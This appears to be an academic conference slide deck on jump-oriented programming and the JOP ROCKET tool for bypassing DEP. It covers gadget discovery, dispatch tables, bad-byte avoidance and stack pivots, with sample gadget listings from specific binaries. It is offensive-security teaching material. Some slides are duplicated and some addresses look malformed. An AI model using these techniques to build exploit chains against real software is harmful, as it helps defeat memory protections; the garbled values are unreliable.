JOP ROCKET: Bypassing DEP with Jump-oriented Programming

Dr. Bramwell Brizendine
Austin Babcock
Dr. Bramwell Brizendine

- **Dr. Bramwell Brizendine** is the Director of the VERONA Lab
  - Vulnerability and Exploitation Research for Offensive and Novel Attacks Lab
- Creator of the JOP ROCKET:
  - [http://www.joprocket.com](http://www.joprocket.com)
- Assistant Professor of Computer and Cyber Sciences at Dakota State University, USA
- Interests: software exploitation, reverse engineering, code-reuse attacks, malware analysis, and offensive security
- Education:
  - 2019 Ph.D in Cyber Operations
  - 2016: M.S. in Applied Computer Science
  - 2014: M.S. in Information Assurance
- Contact: Bramwell.Brizendine@dsu.edu
Austin Babcock

- **Austin Babcock** is a graduate student at Dakota State University, USA
  - BS Cyber Operations
  - MS Computer Science with Cyber Operations specialization (in progress)
- Security Researcher at VERONA Lab @ DSU
- Contributor to JOP ROCKET
- JOP Whisperer
- Interests: Software exploitation, fuzzing, reverse engineering, bug bounties
- Contact: austin.babcock@trojans.dsu.edu
Agenda

- Part 1: Introduction to Jump-oriented Programming
  - Introducing the JOP ROCKET
- Part 2: Manually crafting a JOP exploit to bypass DEP
  - The process and tips and techniques
- Part 3: Automatic JOP chain generation
  - Novel approach to generate a complete JOP chain
  - DEP bypass using JOP chains generated by JOP ROCKET
- Part 4: Shellcode-less JOP
  - Avoid DEP by calling desired WinAPI functions directly via JOP
- Part 5: Novel Dispatcher Gadgets
  - Novel dispatcher gadget and two-gadget dispatchers – opening new possibilities for JOP
Part 1: Jump-Oriented Programming Background
JOP: Historical Timeline

- JOP dates back in the academic literature a decade
  - Bletsch; Checkoway and Shacham; Erdodi; Chen, et al.

- JOP previously was confined largely to academic literature.
  - Theoretical.
    - Many, many questions of practical usage not addressed and unanswered
  - No working full exploits
    - Claims it had never been used in the wild.

- We introduced JOP ROCKET at DEF CON 27.
  - Bypassed DEP in a Windows exploit with complex, full JOP chain.
  - We have expanded it considerably since then.
    - JOP chain generation
    - Two gadget dispatcher
Different JOP Paradigms

• Dispatcher gadget by Bletsch, et al., (2011)
  • Features complete JOP chain with a dispatch table containing functional gadgets.
    • Each functional gadget is dispatched.
  • Functional gadgets perform the substantive operations.
  • This is the approach favored by research.

• Bring Your Own Pop Jump (BYOPJ) by Checkoway and Shacham (2010)
  • \textit{Pop X / jmp X} – we can load an address into X and jump to it.
  • This can allow of a string of gadgets to be strung together.
    • This creates a chain that leads from one to the next.
  • Allows for RET to be loaded into X; JOP gadgets can be used as substitute for ROP gadgets.
Different JOP Paradigms

- **Untitled Variant – combination dispatcher /functional gadgets**
  - Encountered in the wild in real-world exploits, to expand the attack surface – used with ROP.
    - Used in 64-bit exploits for Free-BSD and Sony Playstation 4.
  - A dispatch table is loaded into memory with addresses of other gadgets.
  - Each gadget performs a substantive action and also dereferences and jumps to the next gadget!
  - Gadgets of this form are rarer than traditional JOP gadgets.

```c
/*
 * COP_GADGET3_ADDR : push rsp ; call qword ptr [rax + 0x40]
 */
u64 = (uint64_t *)&OverflowArea[0x40];
*u64 = COP_GADGET4_ADDR;
/*
 * COP_GADGET4_ADDR : pop rst ; pop rbp ; jmp qword ptr [rax + 0x20]
 */
u64 = (uint64_t *)&OverflowArea[0x20];
*u64 = COP_GADGET5_ADDR;
/*
 * COP_GADGET5_ADDR : mov rst, rbx ; call qword ptr [rax + 0x38]
 */
u64 = (uint64_t *)&OverflowArea[0x38];
*u64 = COP_GADGET6_ADDR;
/*
 * COP_GADGET6_ADDR : add al, 0x5d ; jmp qword ptr [rax + 0x50]
 */
u64 = (uint64_t *)&OverflowArea[0x5D + 0x50];
*u64 = COP_GADGET7_ADDR;
```
Review: Key Elements of JOP

- **Dispatch table**
  - Each entry holds an address to a functional gadget
  - Can be placed on stack or heap – any memory with RW permissions.
  - Addresses for functional gadgets are separate by uniform padding.

- **Dispatcher gadget**
  - Can be creative and flexible – key requirement is it *predictably* modifies an index into the dispatch table – while at the same time dereferencing the dispatch table index.
  - Typically, one gadget to move our “program counter” to the next functional gadget.

- **Functional Gadgets**
  - Gadgets that end in *jmp* or *call* to a register containing the address of dispatcher
  - Achieves control flow by jumping back to the dispatcher gadget, which modifies the dispatch table index.
  - These are where do more substantive operations.

- **The Stack**
  - With JOP we do not use this for control flow – which is very liberating.
  - We use it to set up WinAPI calls, e.g. bypass DEP with VirtualProtect and VirtualAlloc.
ADD EBX, 0XC
JMP DWORD PTR [EBX]

Dispatch Table and Dispatcher Gadget

Dispatcher gadget
ADD EBX, 0XC
JMP DWORD PTR [EBX]

Dispatch Table

Dispatch Table

Function gadget address
[Padding]
[Padding]

Function gadget address
[Padding]
[Padding]

Function gadget address
[Padding]
[Padding]

Function gadget address
[Padding]
[Padding]

Gadget Catalogue of Functional Gadgets

Gadget Catalogue of Functional Gadgets

Function gadget
[ADD EAX, EDX]
[JMP ESI]

Function gadget
[ADD EBX, EDI]
[MOV EDI, ESI]
[JMP EDI]

Function gadget
[KCHG EDX, EBX]
[JMP ESI]

Function gadget
[MOV EBX, 0x80]
[JMP ESI]
What JOP Is and What JOP Is Not

- Jump-oriented Programming is an advanced, **state-of-the-art** code-reuse attack with multiple variants.
  - We focus on the dispatcher gadget paradigm, allowing for full JOP chains.

- JOP is **not** a replacement for ROP.
  - There are less gadgets than ROP, and a full JOP chain is not always possible.
  - We do need a viable dispatcher gadget for it to work.
    - Our research has expanded and provided **novel dispatcher gadgets** and the **two-gadget dispatcher**.

- JOP can be more challenging and trickier, if doing a manual approach.
  - At the same time, it **can also be simpler**, if there is a valid dispatcher and no bad byte restrictions.
Introducing the JOP ROCKET

- Jump-Oriented Programming Reversing Open Cyber Knowledge Expert Tool
  - Dedicated to the memory of rocket cats who made the ultimate sacrifice.
JOP Gadget Discovery

• We search for the following forms:
  • `jmp reg`
  • `call reg`
  • `jmp dword ptr [reg]`
  • `jmp dword ptr [reg + offset]`
  • `call dword ptr [reg]`
  • `call dword ptr [reg + offset]`

• If opcodes are found, we disassemble backwards.
  • We carve out chunks of disassembly, searching for useful gadgets.
  • We iterate through all possibilities from 2 to 18 bytes.
    • This ensures that all unintended instructions are found.
    • Both JOP and ROP and heavily reliant upon opcode-splitting.
Opcode Splitting

• With x86 ISA we lack enforced alignment, and thus we can begin execution anywhere.
  • We enrich the attack surface with unintended instructions.

• Any major ROP tool uses this with or without user knowledge.
  • So too does JOP ROCKET.

<table>
<thead>
<tr>
<th>Opcodes</th>
<th>Instructions</th>
</tr>
</thead>
<tbody>
<tr>
<td>68 55 ba 54 c3</td>
<td>push 0xc354ba55</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Opcodes</th>
<th>Instructions</th>
</tr>
</thead>
<tbody>
<tr>
<td>54</td>
<td>push esp</td>
</tr>
<tr>
<td>c3</td>
<td>ret</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Opcodes</th>
<th>Instructions</th>
</tr>
</thead>
<tbody>
<tr>
<td>BF 89 CF FF E3</td>
<td>mov edi, 0xe3ffdf89;</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Opcodes</th>
<th>Instructions</th>
</tr>
</thead>
<tbody>
<tr>
<td>89 CF FF E3</td>
<td>mov edi, ecx # jmp eax;</td>
</tr>
</tbody>
</table>
JOP Gadget Classification

• ROCKET searches for FF first, and if found it checks for 49 opcode combinations.
  - If found, chunks of disassembly are carved out.
  - Disassembly chunks are searched for useful operations.

• Hundreds of data structures maintain minimal bookkeeping information, allowing gadgets to be generated on the fly.
  - No disassembly or opcodes saved.
  - Useful for other searching operations.
  - Allows for different things to be done with the data.
  - All search results can be saved as text files according to unique user specifications.

• Numerous classifications based on operation and registers affected.
JOP ROCKET Usage

• To use JOP ROCKET, if we intend to scan the entire binary, including all DLLs, the target application must be installed.
  • We provide the application’s absolute path as input in a text file.
  • We can scan just the .exe by itself – even not installed – but it will not be able to discover third-party DLLs.
    • System DLLs can still be found, but typically not of interest.

• Memory can be a concern with very large binaries.
  • For some very large binaries, 64-bit Python will be required.
  • Performance for scanning and classifying JOP gadgets has improved drastically.
    • However, for larger files, JOP chain generation can still take a while for very large files.
      • Incredibly fast for smaller files
Specify registers of interest – any specific ones or just all.
• Use g to scan for selected registers.
• Use G to scan all Jmp reg
• Use C to scan all Call reg
• Use Z to scan all Jmp / Call
Use s to set scope – image executable, or include DLLs in IAT, or DLLs in IAT and beyond.
Options:
For detailed help, enter 'h' and option of interest. E.g. h d
h: Display options.
f: Change peName.
j: Generate pre-built JOP chains! (NEW)
r: Specify target 32-bit registers, delimited by commas. E.g. eax, ebx, edx
i: Set control flow, e.g. JMP, CALL, ALL
q: Discover or get gadgets: this gets gadgets ending in 'specified' registers.
Q: Discover or get gadgets ending in JMP; this gets ALL registers. (NEW)
D: Discover or get gadgets ending in JMP & CALL; this gets ALL registers. (NEW)
C: Discover or get gadgets ending in CALL; this gets ALL registers. (NEW)
p: Print sub-menu. E.g. Print ALL, all by REG, by operation, etc.
P: Print EVERYTHING - no print sub-menu (New)
M: Mitigations sub-menu E.g. DEP, ASLR, SafeSEH, CFG.
D: Set level of depth for d. gadgets.
w: Extract the modules for specified registers.
n: Change number of opcodes to disassemble.
l: Change lines to go back when searching for an operation, e.g. ADD
s: Scope—look only within the executable or executable and all modules
u: Unassembles from offset. See detailed: b - h
a: Do ‘everything’ for selected PE and modules. Does not build chains.
w: Show mitigations for PE and enumerated modules.
b: Show or add bad characters.

Use m to scan for mitigations, e.g. DEP, ASLR, SafeSEH, CFG
Options:
For detailed help, enter 'h' and option of interest. E.g. h d
h: Display options.
F: Change peName.
J: Generate pre-built JOP chains! (NEW)
R: Specify target 32-bit registers, delimited by commas. E.g. eax, ebx, edx
T: Set control flow, e.g. JMP, CALL, ALL
G: Discover or get gadgets: this gets gadgets ending in *specified* registers.
D: Discover or get gadgets ending in JMP, this gets ALL registers. (NEW)
C: Discover or get gadgets ending in CALL; this gets ALL registers. (NEW)
P: Print sub-menu. E.g. Print ALL, all by REG, by operation, etc.
P: Print EVERYTHING - no print sub-menu (New)
M: Mitigations sub-menu. E.g. DEP, ASLR, SafeSEH, CFG.
D: Set level of depth for d. gadgets.
E: Extract the modules for specified registers.
I: Change number of opcodes to disassemble.
S: Scope--look only within the executable or executable and all modules
U: Unassembles from offset. See detailed: b-h
H: Do 'everything' for selected PE and modules. Does not build chains.
W: Show mitigations for PE and enumerated modules.
B: Show or add bad characters.
Use j to generate pre-built JOP chains!
JOP ROCKET
Menu

Options:
- For detailed help, enter `h` and option of interest. E.g. h d
- h: Display options.
- f: Change p\text{e}Name.
- i: Generate pre-built JOP chains! (NEW)
- r: Specify target 32-bit registers, delimited by commas. E.g. eax, ebx, edx
- t: Set control flow, e.g. JMP, CALL, ALL
- g: Discover or get gadgets: this gets gadgets ending in \texttt{specified} registers.
- G: Discover or get gadgets ending in JMP: this gets ALL registers. (NEW)
- Z: Discover or get gadgets ending in JMP & CALL: this gets ALL registers. (NEW)
- C: Discover or get gadgets ending in CALL: this gets ALL registers. (NEW)
- p: Print sub-menu. E.g. Print ALL, all by REG, by operation, etc.
- P: Print EVERYTHING - no print sub-menu (New)
- M: Mitigations sub-menu. E.g. DEP, ASLR, SafeSEH, CFG.
- D: Set level of depth for d. gadgets.
- w: Extract the modules for specified registers.
- n: Change number of opcodes to disassemble.
- I: Change lines to go back when searching for an operation, e.g. ADD
- S: Scope - look only within the executable or executable and all modules
- U: Unassembles from offset. See detailed: b-h
- a: Do 'everything' for selected PE and modules. Does not build chains.
- w: Show mitigations for PE and enumerated modules.
- b: Show or add bad characters.

- Use p to access print sub-menu.
- Use P to print everything
  - Not including stack pivots
Print Sub-menu

- Use r to select specific registers affected.
- Use g to select specific operations.
- Use z to print selections.
- Use P to select all.

Bramwell Brizendine & Austin Babcock | JOP ROCKET: Bypassing DEP with Jump-Oriented Programming
This is for `add ebx`. It has `jmp` and `call`. It has `ebx`, `bx`, `bh`, `bl`, etc.

Numerous results by operation and reg

Offsets for each line

```c
# 1 icoFx2.exe [Ops: 0xd] DEP: False ASLR: False SEH: False CFG: False add bh, bb 0x47f22c (offset 0x47f22c) call ecx 0x43f22e (offset 0x43f22e)

# 4 icoFx2.exe [Ops: 0x3] DEP: False ASLR: False SEH: False CFG: False add bh, bh 0x441e8f (offset 0x441e8f) jmp edi 0x441e91 (offset 0x441e91)

# 0 icoFx2.exe [Ops: 0xa] DEP: False ASLR: False SEH: False CFG: False add ecx, ebp 0x462bf1 (offset 0x462bf1) call ecx 0x462bf4 (offset 0x462bf4)

# 15 icoFx2.exe [Ops: 0xd] DEP: False ASLR: False SEH: False CFG: False add bh, bh 0x47f221 (offset 0x47f221) jmp edi 0x47f225 (offset 0x47f225)

# 16 icoFx2.exe [Ops: 0xd] DEP: False ASLR: False SEH: False CFG: False add bh, bh 0x47f22d (offset 0x47f22d) call esi 0x47f237 (offset 0x47f237)

# 17 icoFx2.exe [Ops: 0x7] DEP: False ASLR: False SEH: False CFG: False add bh, bh 0x48c75d (offset 0x48c75d) jmp ecx 0x48c75f (offset 0x48c75f)
```
Part 2: The Manual Approach
Part 2 Contents

1. Selecting dispatch registers and the dispatcher gadget
2. An overview of JOP’s purpose in an exploit
3. Avoiding bad bytes with JOP
4. Stack pivoting with JOP
5. Writing function parameters to memory
6. Performing the function call
7. JOP NOPs
8. Demo
Choosing Dispatch Registers

**Dispatcher Gadget Address**

- Functional gadgets need to end in JMPs or CALLs to this register.

- Assess the available JOP gadgets for each register.
  - Some will have more useful gadgets available than others.

- It is possible to change registers or load the address into multiple registers.
  - Will require additional functional gadgets.

---

**Useful gadgets with no side effects**

```
#31 hashCracker_challenge_nonull.exe [Ops: 0xd] DEP:
True  ASLR: False  SEH: False  CFG: False
pop ebx 0x112227f7 (offset 0x27f7)
jmp ecx 0x112227fe (offset 0x27fe)
```

---

**Gadgets are lengthy and more difficult to use**

```
#16 hashCracker_challenge_nonull.exe [Ops: 0x4] DEP:
True  ASLR: False  SEH: False  CFG: False
reg esi 0x112223eb (offset 0x23eb)
jmp ecx 0x112223ed (offset 0x23ed)
```

---

```
#38 hashCracker_challenge_nonull.exe [Ops: 0xd] DEP:
True  ASLR: False  SEH: False  CFG: False
pop edx 0x1122379a (offset 0x379a)
pop eax 0x1122379b (offset 0x379b)
push edx 0x1122379c (offset 0x379c)
add ecx, 0x20007 0x1122379d (offset 0x379d)
jmp ebx 0x112237a3 (offset 0x37a3)
```

---

```
#24 hashCracker_challenge_nonull.exe [Ops: 0x5] DEP:
True  ASLR: False  SEH: False  CFG: False
and ebx, dword ptr [ebx - 0x7d] 0x112225f4 (offset 0x25f4)
les edx, ptr [ecx] 0x112225f7 (offset 0x25f7)
jmp edi 0x112225f9 (offset 0x25f9)
```
Choosing Dispatch Registers

Dispatch Table Address

• The only way to decide which register to use is via the selection of the dispatcher gadget.
  • This gadget needs eax to hold the dispatch table.

• It will be easier to find functional gadget workarounds than to work with a bad dispatcher.
  • A good dispatcher may cause a few gadgets to be inaccessible, while a bad dispatcher such as the one to the right could invalidate any gadget that utilizes the stack

• The dispatcher gadget can also be changed for another midway the exploit.
  • Not ideal and requires additional gadgets that may or may not exist.

<table>
<thead>
<tr>
<th>Address</th>
<th>Dispatcher Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1b174bcc</td>
<td>add eax, 0x4; jmp dword ptr [eax];</td>
</tr>
</tbody>
</table>

This dispatcher has too many side effects; it should be avoided if possible.
Selecting a Dispatcher

- Add and sub are straightforward instructions that are relatively simple to use in most cases.
  - Put each functional gadget in order in the dispatch table.
  - Reverse the dispatch table’s order for sub.

- Try to avoid side effects when possible.
  - Any side effect that happens in the dispatcher will occur repeatedly throughout the exploit.
  - Some may be accommodated while others may invalidate entire registers.

<table>
<thead>
<tr>
<th>Dispatcher Gadget</th>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>0x1b474a22</td>
<td>add eax, 0x4; jmp dword ptr [eax];</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Dispatch Table</th>
<th>Address</th>
<th>Value</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0018fac0</td>
<td>0x1b47bbcc</td>
<td>pop ebx; jmp edx;</td>
<td></td>
</tr>
<tr>
<td>0x0018fac4</td>
<td>0x1b47bb10</td>
<td>add ebx, 0x100; jmp edx;</td>
<td></td>
</tr>
<tr>
<td>0x0018fac8</td>
<td>0x1b47bc38</td>
<td>push ebx; jmp edx</td>
<td></td>
</tr>
</tbody>
</table>

Bramwell Brizendine & Austin Babcock | JOP ROCKET: Bypassing DEP with Jump-Oriented Programming
Selecting a Dispatcher

- **Add** and **sub** are straightforward instructions that are relatively simple to use in most cases.
  - Put each functional gadget in order in the dispatch table.
  - Reverse the dispatch table’s order for **sub**.

- Try to avoid side effects when possible.
  - Any side effect that happens in the dispatcher will occur repeatedly throughout the exploit.
  - Some may be accommodated while others may invalidate entire registers.

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1b47181f</td>
<td>sub eax, 0x4; jmp dword ptr [eax];</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0018fac8</td>
<td>0x1b47bc38</td>
<td>push ebx; jmp edx</td>
</tr>
<tr>
<td>0x0018fac4</td>
<td>0x1b47bb10</td>
<td>add ebx, 0x100; jmp edx</td>
</tr>
<tr>
<td>0x0018fac0</td>
<td>0x1b47bbcc</td>
<td>pop ebx; jmp edx</td>
</tr>
</tbody>
</table>
Selecting a Dispatcher

- Keep memory space limitations in mind.
  - Gadgets that modify the dispatch table’s address by larger amounts will require more padding and increase the table’s size.

**Dispatch table for:**

```
add edi, 8; jmp dword ptr [edi];
```

```
0018FBB0 11223795 •7" ▼ hashCrac.11223795
0018FBB4 44444444 DDDD
0018FBB8 11223795 •7" ▼ hashCrac.11223795
0018FBBC 44444444 DDDD
0018FBC0 11223795 •7" ▼ hashCrac.11223795
0018FBC4 44444444 DDDD
0018FBC8 11223795 •7" ▼ hashCrac.11223795
0018FBCC 44444444 DDDD
```

**Dispatch table for:**

```
add edi, 0x10; jmp dword ptr [edi];
```

```
0018FBB0 11223795 •7" ▼ hashCrac.11223795
0018FBB4 44444444 DDDD
0018FBB8 44444444 DDDD
0018FBBC 44444444 DDDD
0018FBC0 11223795 •7" ▼ hashCrac.11223795
0018FBC4 44444444 DDDD
0018FBC8 44444444 DDDD
0018FBCC 44444444 DDDD
```
Tasks to Accomplish with JOP

Running Shellcode with JOP

• Execute WinAPI function calls that can bypass DEP so shellcode can be used.

• Most commonly, VirtualProtect() or VirtualAlloc() will be used to make a region of memory executable.
  • When using VirtualAlloc(), another function such as WriteProcessMemory() needs to be used to write the shellcode to the allocated memory.

• Use gadgets to write function parameters that contain bad bytes.

Shellcode-less JOP

• This method still performs WinAPI calls but does not avoid DEP in the same way.
  • The function calls themselves will perform the desired malicious actions.

• Some function calls may return values to be used as parameters for other functions.
  • JOP must be used to set up these parameters, as their values cannot be hardcoded or generated programmatically in the script.

• Several function calls can be chained together
Calling WinAPI Functions with JOP

- Before executing a function such as `VirtualProtect()`, the parameters must be set up correctly.
- While some parameters can be included in the payload, parameters with bad bytes can be replaced by dummy variables which are later overwritten.

<table>
<thead>
<tr>
<th>Value in Buffer</th>
<th>Description</th>
<th>Desired Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1818c0fa</td>
<td>Return Address</td>
<td>0x1818c0fa</td>
</tr>
<tr>
<td>0x1818c0fa</td>
<td>lpAddress</td>
<td>0x1818c0fa</td>
</tr>
<tr>
<td>0x70707070</td>
<td>dwSize (dummy)</td>
<td>0x000000500</td>
</tr>
<tr>
<td>0x70707070</td>
<td>flNewProtect (dummy)</td>
<td>0x000000040</td>
</tr>
<tr>
<td>0x1818c0dd</td>
<td>lpfOldProtect</td>
<td>0x1818c0dd</td>
</tr>
</tbody>
</table>
Using JOP to Avoid Bad Bytes

• \textit{Xor} can be used to load bad byte values into a register.
• First, put a predictable value into a register.
  • This can be used as an XOR key later.

\begin{tabular}{|c|c|}
  \hline
  Address & Gadget \\
  \hline
  0xebeb87b20 & pop ebx; jmp ecx; \\
  \hline
\end{tabular}

\textit{or}

• Calculate the result that occurs from XORing the key with the bad byte value. Then, load that result into a register.
  • If the desired value is 0x40, calculate 0x40 XOR key.

\begin{tabular}{|c|c|}
  \hline
  Address & Gadget \\
  \hline
  0xebb8544 & mov ebx, 0x42afe821; jmp ecx; \\
  \hline
\end{tabular}

\begin{tabular}{|c|c|}
  \hline
  Address & Gadget \\
  \hline
  0xebeb87b20 & pop ebx; jmp ecx; \\
  \hline
\end{tabular}

• Use an \textit{xor} gadget to perform the calculation and load the final value into a register.

\begin{tabular}{|c|c|}
  \hline
  Address & Gadget \\
  \hline
  0xeb390312 & xor edx, ebx; jmp ecx; \\
  \hline
\end{tabular}
Using JOP to Avoid Bad Bytes

- Gadget addresses themselves can contain bad bytes.
- These addresses cannot be included within the dispatch table.
- Other gadgets can be used to load the address into a register.
  - Afterwards, perform a `jmp` to this register.

### Dispatcher Gadget

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x4213ff90</td>
<td>add ebx, 0x4; jmp dword ptr [ebx]</td>
</tr>
</tbody>
</table>

### Dispatch Table

<table>
<thead>
<tr>
<th>Value</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x4213a870</td>
<td>neg eax; jmp esi; # Load 0x0013fc20 into eax</td>
</tr>
<tr>
<td>0x4213b69a</td>
<td>jmp eax; # Execute 1&lt;sup&gt;st&lt;/sup&gt; stack pivot gadget</td>
</tr>
<tr>
<td>0x4213a2dd</td>
<td>xor edx, edi ; jmp esi # Load 0x00131222 into edx</td>
</tr>
<tr>
<td>0x421389a0</td>
<td>jmp edx # Execute 2&lt;sup&gt;nd&lt;/sup&gt; stack pivot gadget</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0013fc20</td>
<td>add esp, 0x40; jmp esi # Stack pivot</td>
</tr>
<tr>
<td>0x00131222</td>
<td>add esp, 0x2b; jmp esi # Stack pivot</td>
</tr>
</tbody>
</table>
Stack Pivoting with JOP

• Stack pivots that adjust esp forwards are usually more plentiful and easier to use.
  • JOP ROCKET can help find these types of gadgets.
  • *Pop, add esp, call, etc.*

<table>
<thead>
<tr>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>pop eax;</td>
</tr>
<tr>
<td>pop edi;</td>
</tr>
<tr>
<td>jmp edx;</td>
</tr>
</tbody>
</table>

Stack Address

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0018fac0</td>
<td>0x11111111</td>
</tr>
<tr>
<td>0x0018fac4</td>
<td>0x22222222</td>
</tr>
<tr>
<td>0x0018fac8</td>
<td>0x33333333</td>
</tr>
<tr>
<td>0x0018facc</td>
<td>0x44444444</td>
</tr>
</tbody>
</table>

Bramwell Brizendine & Austin Babcock | JOP ROCKET: Bypassing DEP with Jump-Oriented Programming
Stack Pivoting with JOP

- Backwards moving pivots tend to be more difficult to find.
- *Push* instructions can move esp backwards, but also overwrite memory as they do so.

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x43da8822</td>
<td>mov ebx, 0; jmp ecx</td>
</tr>
<tr>
<td>0x62ad7355</td>
<td>push ebx; jmp ecx;</td>
</tr>
<tr>
<td>0x62ad7355</td>
<td>push ebx; jmp ecx;</td>
</tr>
<tr>
<td>0x62ad7355</td>
<td>push ebx; jmp ecx;</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Address</th>
<th>StackValue</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0018fac0</td>
<td>0x11111111</td>
</tr>
<tr>
<td>0x0018fac4</td>
<td>0x22222222</td>
</tr>
<tr>
<td>0x0018fac8</td>
<td>0x33333333</td>
</tr>
<tr>
<td>0x0018facc</td>
<td>0x44444444</td>
</tr>
</tbody>
</table>
Stack Pivoting with JOP

- Backwards moving pivots tend to be more difficult to find.
- *Push* instructions can move esp backwards, but also overwrite memory as they do so.

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x43da8822</td>
<td>mov ebx, 0; jmp ecx</td>
</tr>
<tr>
<td>0x62ad7355</td>
<td><strong>push ebx; jmp ecx;</strong></td>
</tr>
<tr>
<td>0x62ad7355</td>
<td>push ebx; jmp ecx;</td>
</tr>
<tr>
<td>0x62ad7355</td>
<td>push ebx; jmp ecx;</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0018fac0</td>
<td>0x11111111</td>
</tr>
<tr>
<td>0x0018fac4</td>
<td>0x22222222</td>
</tr>
<tr>
<td>0x0018fac8</td>
<td>0x00000000</td>
</tr>
<tr>
<td>0x0018facc</td>
<td>0x44444444</td>
</tr>
</tbody>
</table>
Stack Pivoting with JOP

- Backwards moving pivots tend to be more difficult to find.
- *Push* instructions can move esp backwards, but also overwrite memory as they do so.

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x43da8822</td>
<td>mov ebx, 0; jmp ecx</td>
</tr>
<tr>
<td>0x62ad7355</td>
<td>push ebx; jmp ecx;</td>
</tr>
<tr>
<td>0x62ad7355</td>
<td><strong>push ebx; jmp ecx;</strong></td>
</tr>
<tr>
<td>0x62ad7355</td>
<td><strong>push ebx; jmp ecx;</strong></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Stack</th>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>ESP</td>
<td>0x0018fac0</td>
<td>0x11111111</td>
</tr>
<tr>
<td></td>
<td>0x0018fac4</td>
<td>0x00000000</td>
</tr>
<tr>
<td></td>
<td>0x0018fac8</td>
<td>0x00000000</td>
</tr>
<tr>
<td></td>
<td>0x0018facc</td>
<td>0x44444444</td>
</tr>
</tbody>
</table>
Stack Pivoting with JOP

- Backwards moving pivots tend to be more difficult to find.
- *Push* instructions can move esp backwards, but also overwrite memory as they do so.

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x43da8822</td>
<td>mov ebx, 0; jmp ecx</td>
</tr>
<tr>
<td>0x62ad7355</td>
<td>push ebx; jmp ecx;</td>
</tr>
<tr>
<td>0x62ad7355</td>
<td>push ebx; jmp ecx;</td>
</tr>
<tr>
<td>0x62ad7355</td>
<td><strong>push ebx; jmp ecx;</strong></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Address</th>
<th>Stack</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0018fac0</td>
<td>0x00000000</td>
<td></td>
</tr>
<tr>
<td>0x0018fac4</td>
<td>0x00000000</td>
<td></td>
</tr>
<tr>
<td>0x0018fac8</td>
<td>0x00000000</td>
<td></td>
</tr>
<tr>
<td>0x0018facc</td>
<td>0x44444444</td>
<td></td>
</tr>
</tbody>
</table>
Overwriting Dummy Values - *Push*

- Once bad byte values are loaded into a register, they can be used to replace dummy values.
- Gadgets with the *push* instruction are relatively common and will perform an overwrite.
  - Occurs at esp-4, then changes esp to that address.
  - Stack pivots will be useful.

**VirtualProtect Parameters**

<table>
<thead>
<tr>
<th>Address</th>
<th>Current Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1818c0e0</td>
<td>0x1818c0fa</td>
<td>Return Address</td>
</tr>
<tr>
<td>0x1818c0e4</td>
<td>0x1818c0fa</td>
<td>lpAddress</td>
</tr>
<tr>
<td>0x1818c0e8</td>
<td>0x70707070</td>
<td>dwSize (dummy)</td>
</tr>
<tr>
<td>0x1818c0ec</td>
<td>0x70707070</td>
<td>flNewProtect (dummy)</td>
</tr>
<tr>
<td>0x1818c0f0</td>
<td>0x1818c0dd</td>
<td>lpfOldProtect</td>
</tr>
</tbody>
</table>

**Gadgets**

- **add esp, 0xc;**
- **jmp edx;**
- **push eax;**
- **jmp edx;**
- **xor eax, ecx;**
- **jmp edx;**

Load 0x500 into eax: add esp, 0xc; push eax; jmp edx;
Overwriting Dummy Values - Push

- Once bad byte values are loaded into a register, they can be used to replace dummy values.
- Gadgets with the push instruction are relatively common and will perform an overwrite.
  - Occurs at esp-4, then changes esp to that address.
  - Stack pivots will be useful.

```
Gadget
add esp, 0xc;
jmp edx;
```

```
Gadget
xor eax, ecx;
jmp edx;
```

Load 0x500 into eax

<table>
<thead>
<tr>
<th>Address</th>
<th>Current Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1818c0e0</td>
<td>0x1818c0fa</td>
<td>Return Address</td>
</tr>
<tr>
<td>0x1818c0e4</td>
<td>0x1818c0fa</td>
<td>lpAddress</td>
</tr>
<tr>
<td>0x1818c0e8</td>
<td>0x70707070</td>
<td>dwSize (dummy)</td>
</tr>
<tr>
<td>0x1818c0ec</td>
<td>0x70707070</td>
<td>flNewProtect (dummy)</td>
</tr>
<tr>
<td>0x1818c0f0</td>
<td>0x1818c0dd</td>
<td>lpfOldProtect</td>
</tr>
</tbody>
</table>
Overwriting Dummy Values - Push

- Once bad byte values are loaded into a register, they can be used to replace dummy values.
